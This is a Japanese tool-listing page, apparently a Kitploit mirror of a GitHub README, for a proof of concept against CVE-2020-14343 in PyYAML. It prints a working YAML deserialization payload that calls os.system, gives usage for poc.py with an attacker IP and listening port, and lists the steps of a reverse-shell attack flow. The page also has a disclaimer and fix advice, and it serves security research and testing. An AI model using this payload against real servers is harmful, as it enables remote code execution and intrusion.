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CVE-2020-14343-PyYAML — CVE-2020-14343のペイロード | Kitploit
ツール/GitHubGitHub/kairo-one/cve-2020-14343-pyyaml
ペイロード生成脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubkairo-one/cve-2020-14343-pyyaml

CVE-2020-14343-PyYAML

CVE-2020-14343のペイロード

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29ヶ月前未レビュー

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CVE-2020-14343 PyYAML 逆シリアル化の脆弱性 POC

脆弱性の概要

項目情報
CVE IDCVE-2020-14343
影響を受けるコンポーネントPyYAML < 5.4
脆弱性タイプ逆シリアル化によるリモートコード実行 (RCE)
深刻度高

脆弱性の仕組み

PyYAML は yaml.load() で信頼できないデータを解析する際、危険な YAML タグ(!!python/object など)を制限していないため、攻撃者は悪意のある YAML コンテンツを構築して任意の Python コードを実行できます。

Payload の核心:

root@kitploit:~
!!python/object/new:tuple
  - !!python/object/new:map
    - !!python/name:eval
    - ["__import__('os').system('command')"]

使用方法

root@kitploit:~
python poc.py <対象URL> <攻撃者IP> <リスニングポート>

例:

root@kitploit:~
python poc.py http://vulnerable-site.com 192.168.1.100 4444

攻撃フロー

  1. スクリプトがローカルで TCP リスナーを起動する
  2. 悪意のある YAML ファイルを対象の /upload エンドポイントにアップロードする
  3. /login エンドポイントをトリガーして YAML をロード・解析する
  4. ターゲットサーバーが payload を実行し、攻撃者へリバースシェルを接続する

依存関係のインストール

root@kitploit:~
pip install requests

免責事項

⚠️ 本ツールはセキュリティ研究および許可を得たテスト専用です!

  • 不正な用途に使用しないでください
  • 使用前に、対象システムの許可を取得していることを確認してください
  • 作者は不正使用によるいかなる責任も負いません

修正の推奨事項

  1. yaml.load() の代わりに yaml.safe_load() を使用する
  2. PyYAML を 5.4 以降にアップグレードする
  3. ユーザー入力を厳密に検証する

参考リンク

  • CVE-2020-14343 - NVD
  • PyYAML 公式ドキュメント
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